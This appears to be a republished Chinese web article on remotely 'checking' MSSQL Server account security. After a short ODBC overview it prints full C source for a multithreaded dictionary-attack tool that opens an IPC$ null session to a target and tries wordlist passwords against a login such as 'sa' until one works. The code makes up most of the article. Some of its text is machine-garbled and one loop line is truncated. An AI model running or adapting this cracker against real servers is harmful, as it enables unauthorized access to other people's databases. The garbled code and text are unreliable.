当前位置:七道奇文章资讯数据防范MSSQL防范
日期:2011-05-02 15:21:00  来源:本站整理

远程检测MSSQLServer账号安全性[MSSQL防范]

赞助商链接



  本文“远程检测MSSQLServer账号安全性[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程拜候数据库(主如果关系型数据库)的统一界面尺度.  ODBC下实际应用中是一个数据库的拜候库,它供应了一组ODBC API函数可以供应应编程者利用.关于程序员来说,ODBC API函数集实际上等于一个动态衔接库(DLL)集,可以在利用程序中直接利用它们.

一个利用程序直接调用ODBC API函数来举行数据库的利用工作,工作历程普通对比复杂.此中一种办法大约是以下几步:
<1>启动ODBC数据库利用程序.
<2>与服务器成立IPC SESSION.
<3>成立数据库利用的环境句柄.
<4>成立衔接句柄.
<5>衔接数据源.
<6>成立语句句柄.
<7>通过上一步成立的语句句柄来履行SQL操作.
<8>释放语句句柄.
<9>要举行多此SQL操作的话,就循环步骤6-8.
<10>断开与数据库的衔接.
<11>释放衔接句柄.
<12>释放环境句柄.
<13>断开IPC SESSION.
<14>程序完毕.

下面以一个实例来阐明远程检测MS sql server账号密码的全历程.
-.iTbulo.comiPmzU

/**********************************************************
Module Name:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c) eyas
**********************************************************/
#include
#include <WINDOWS.H>
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://定义全局变量
char dict[20000][40],//密码字典
UserName[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的精确密码
int total=0;//字典里面单词数目
BOOL Cracked=FALSE;//探测密码成功时此值为TRUE
HANDLE hSemaphore,//信标内查对象
hEvent;//事件内查对象
long MaxThreads,//最大线程数目
ActiveThreads;//活动线程数目
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\nPower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nUsage:%s "
"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];

file://翻开字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}

while(!feof(fp))
{
file://读取数据到暂时变量
if(fgets(tmp,40,fp)==NULL)
break;
file://把从文件里面读出来的最后一位数据[换行标记]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
Dword flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";

strcat(RN,RemoteName);
strcat(RN,"\\ipc$");

nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";

strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
DWORD WINAPI SQLCheck(PVOID pPwd)
{
file://定义部分变量
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API运行返回值
SCHAR ConnStr[200];//衔接数据库字符串
long PreviousCount;

file://获得传送过来预备探测的密码
pwd=(char *)pPwd;
file://构造衔接数据库字符
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://成立数据库利用的环境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
ExitProcess(1);
}
file://设置ODBC版本环境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreehandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://成立衔接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://衔接数据源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://衔接失利,函数终止
file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
}
else
{
file://衔接远程MSSQL Server数据库成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://断开衔接
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://释放衔接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://释放环境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://对信标当前资源数目举行递增1,并获得当前资源数目的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://计算当前活动线程数目
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads-->%d.",ActiveThreads);
file://假如活动线程数目为0,那么将事件内查对象hEvent改成已告诉状况,程序完毕
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}

////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//线程句柄
DWORD dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//程序运行的起始和完毕时间
double duration;

if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://获得目标地址,用户名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://获得并查抄用户输入的最大线程数目
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://读取字典中的单词到内存中
if(ReadDic(argv[3])!=0)
return 1;
file://与目标机械成立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://成立信标内查对象,最大资源数目和可以利用的资源数目均为MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
return 1;
}
file://成立事件内查对象[人工重置,初始状况为未告诉]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return 1;
}
file://开始计时
start=clock();
file://开始成立线程探测密码
for(i=0;i {
file://探测密码成功后跳出此循环
if(Cracked==TRUE)
break;
file://显示进度信息
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);
file://成立线程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
file://处理成立线程错误的情形
if(hThread==NULL)
{
err++;
MessageBox(NULL,"thread error","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://等候信标内查对象告诉,可用资源数目大于0则持续成立线程,等于0则线程进入等候状况
WaitForSingleObject(hSemaphore,INFINITE);
}
file://等候事件内查对象告诉,最多等候3分钟
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
case WAIT_OBJECT_0:
printf("\nAll thread done.");
break;
case WAIT_TIMEOUT:
printf("\nWait time out.Exit.");
break;
case WAIT_FAILED:
printf("\nWaitForSingleObject() failed.");
break;
}
file://断开与目标机械的IPC Session
DelIPC(target);
file://探测密码成功后回显信息
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
file://记时完毕
end=clock();
file://转换时间格局
duration = (double)(end - start) / CLOCKS_PER_SEC;
file://显示所用时间
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程序在windows2000,vC++6.0环境下编译通过.
-.iTbulo.comiPmzU

  以上是“远程检测MSSQLServer账号安全性[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 远程检测MSSQLServer账号安全性
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .